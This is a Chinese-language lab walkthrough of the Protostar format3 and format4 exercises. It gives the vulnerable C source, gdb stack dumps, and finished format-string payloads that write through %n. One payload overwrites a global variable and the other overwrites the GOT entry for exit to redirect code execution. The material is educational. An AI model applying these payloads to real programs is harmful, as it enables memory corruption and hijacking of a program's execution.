1 format 3

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
   printf(string);
}

void vuln()
{
   char buffer[512];

   fgets(buffer, sizeof(buffer), stdin);

   printbuffer(buffer);

   if(target == 0x01025544) {
         printf("you have modified the target :)\n");
  } else {
         printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
   vuln();
}
```

本题与format2类似，都是使用 `%n` 修改指定内存地址的值。

使用objdump查找target的地址为 `0x080496f4` 。

```
user@protostar:/opt/protostar/bin$ objdump -t format3 |grep target
080496f4 g     O .bss   00000004              target
```

目标值 `0x01025544` 过大，让 `printf` 一次输出这么多字符不是一个优雅的方案，因此我们考虑分多次修改值。注意到0x44=68，0x55=85，0x102=258，我们考虑分别在输出了68/85/258个字符时将结果写入0x080496f4/0x080496f5/0x080496f6。

接下来我们需要让 %n 操作符与内存地址对应上，通过 $ 操作符可以指定参数的序号。使用gdb添加断点，查看 printbuffer 函数的栈空间，可以发现 printf 的第1个参数，也就是 buffer 的指针保存在 0xbffff520 ，而 buffer 起始于 0xbffff550 ，也就是说 buffer 的开始四字节对应着 printf 的第13个参数，即 $12 。

```
Breakpoint 1, 0x08048498 in vuln () at format3/format3.c:19
19      in format3/format3.c
(gdb) x/16wx $esp
0xbffff540:     0xbffff550      0x00000200      0xb7fd8420      0xbffff594
0xbffff550:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff560:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff570:     0x61616161      0x61616161      0x61616161      0x61616161
(gdb) c
Continuing.

Breakpoint 2, 0x08048460 in printbuffer (string=0xbffff550 'a' <repeats 50 t
10      in format3/format3.c
(gdb) x/16wx $esp
0xbffff520:     0xbffff550      0x00000000      0xbffff550      0xb7fd7ff4
0xbffff530:     0x00000000      0x00000000      0xbffff758      0x0804849d
0xbffff540:     0xbffff550      0x00000200      0xb7fd8420      0xbffff594
0xbffff550:     0x61616161      0x61616161      0x61616161      0x61616161
```

首先输入三个地址， \xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08 ，目前已有12字节。使用 %56x 再输出56个字符，用 %12$n 将当前已经输出的字符数68写入第13个参数指代的地址 0x080496f4 中。然后再用 %17x 输出17个字符，使用 %13$n 将85写入 0x080496f5 。使用 %173x 再输出173个字符，目前总共输出了258个字符，用 %14$n 将该值写入 0x080496f6 。

使用 \xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%17x%13$n%173x%14$n 作为输入，在gdb中监视 target 的值，可以看到 printf 前后， target 发生了变化。

```
(gdb) r < /tmp/f3.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/format3 < /tmp/f3.txt

Breakpoint 2, 0x08048460 in printbuffer (
    string=0xbffff590 "\364\226\004\b\365\226\004\b\366\226\004\b%56x%12$n%17x%13$n%173x%14$n\n")
    at format3/format3.c:10
10      in format3/format3.c
1: target = 0
(gdb) c
Continuing.
◆◆◆◆◆                                                   0         bffff590

   b7fd7ff4

Breakpoint 1, printbuffer (
    string=0xbffff590 "\364\226\004\b\365\226\004\b\366\226\004\b%56x%12$n%17x%13$n%173x%14$n\n")
    at format3/format3.c:11
11      in format3/format3.c
1: target = 16930116
```

所以最终的输入为：

```
python -c
'print("\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08%56x%12$n%17x%13$n%173x%14$n
")'|./format3
```

运行结果如下：

```
user@protostar:/opt/protostar/bin$ python -c 'print("\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x
96\x04\x08%56x%12$n%17x%13$n%173x%14$n")'|./format3
◆◆◆◆◆                                                    0          bffff5d0

   b7fd7ff4
you have modified the target :)
```

2 format4

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
   printf("code execution redirected! you win\n");
   _exit(1);
}

void vuln()
{
   char buffer[512];

   fgets(buffer, sizeof(buffer), stdin);

   printf(buffer);

   exit(1);
}

int main(int argc, char **argv)
{
   vuln();
}
```

本题需要修改程序控制流，修改控制流的思路和先前题目类似，通过修改全局跳转表中的跳转地址实现控制流修改。

使用gdb反编译 `exit` 函数，发现其会跳转至 `0x8049724` 处指针所指的地址，只需把这个指针的值改为 `hello` 函数的入口，也就是 `0x080484b4` 即可。

```
(gdb) disass exit
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>:        jmp    *0x8049724
0x080483f2 <exit@plt+6>:        push   $0x30
0x080483f7 <exit@plt+11>:       jmp    0x804837c
End of assembler dump.
(gdb) disass hello
Dump of assembler code for function hello:
0x080484b4 <hello+0>:   push   %ebp
0x080484b5 <hello+1>:   mov    %esp,%ebp
0x080484b7 <hello+3>:   sub    $0x18,%esp
0x080484ba <hello+6>:   movl   $0x80485f0,(%esp)
0x080484c1 <hello+13>:  call   0x80483dc <puts@plt>
0x080484c6 <hello+18>:  movl   $0x1,(%esp)
0x080484cd <hello+25>:  call   0x80483bc <_exit@plt>
End of assembler dump.
```

0x080484b4 是一个非常大的值，所以我们要像上一题一样分次修改。注意到0xb4=180，0x484=1156，0x8=8，这导致了一个问题，我们的三次写入必须从低地址逐渐向高地址进行，否则会导致前面写入的结果被后一次写入覆盖，而 printf 写入长度显然是逐渐增大的，所以我们三次写入的值也只能逐渐增大，所以我们第三次写入不可能写入8。于是我们考虑让第三次写入 0x508 ，这个数大于第二次写入的值，高地址的 0x05 会被写入下一个字，但不影响 0x8049724 处的指针。

于是我们要将0xb4/0x484/0x508分别写入0x8049724/0x8049725/0x8049727。

使用gdb查看栈空间，发现 printf 的第一个参数位于 0xbffff580 ，其值为 buffer 的起始地址 0xbffff590 ，也就是说 buffer 的起始4字节对应于 printf 的第5个参数，也就是 $4 。

```
Breakpoint 1, 0x080483cc in printf@plt ()
(gdb) x/24wx $esp
0xbffff57c:     0x08048508      0xbffff590      0x00000200      0xb7fd8420
0xbffff58c:     0xbffff5d4      0x41414141      0x41414141      0x41414141
0xbffff59c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff5ac:     0x000a4141      0x00000010      0x00000001      0x00000000
0xbffff5bc:     0x00000000      0xb7fff524      0x00000000      0xb7ffef9c
0xbffff5cc:     0xb7fff020      0x00000000      0xb7ffeff4      0xb7fed24f
```

首先是三个地址 \x24\x97\x04\x08\x25\x97\x04\x08\x27\x97\x04\x08 ，占用12字节。使用 %168x 再输出168个字符，用 %4$n 将当前已经输出的字符数180写入 printf 第5个参数指代的地址 0x8049724 中。然后再用 %976x 输出976个字符，使用 %5$n 将1156写入 0x8049725 。使用 %132x 再输出132个字符，目前总共输出了1288个字符，用 %6$n 将该值写入 0x8049727 。

我们的输入如下：

```
python -c
'print("\x24\x97\x04\x08\x25\x97\x04\x08\x27\x97\x04\x08%168x%4$n%976x%5$n%132x%6$n"
)'|./format4
```

运行结果为：


user@protostar:/opt/protostar/bin$ python -c 'print("\x24\x97\x04\x08\x25\x97\x04\x08\x27\x97\x04\x08%168x%4$n%976x%5$n%132x%6$n")'|./format4
$◆%◆'◆
200
b7fd8420
bffff614
code execution redirected! you win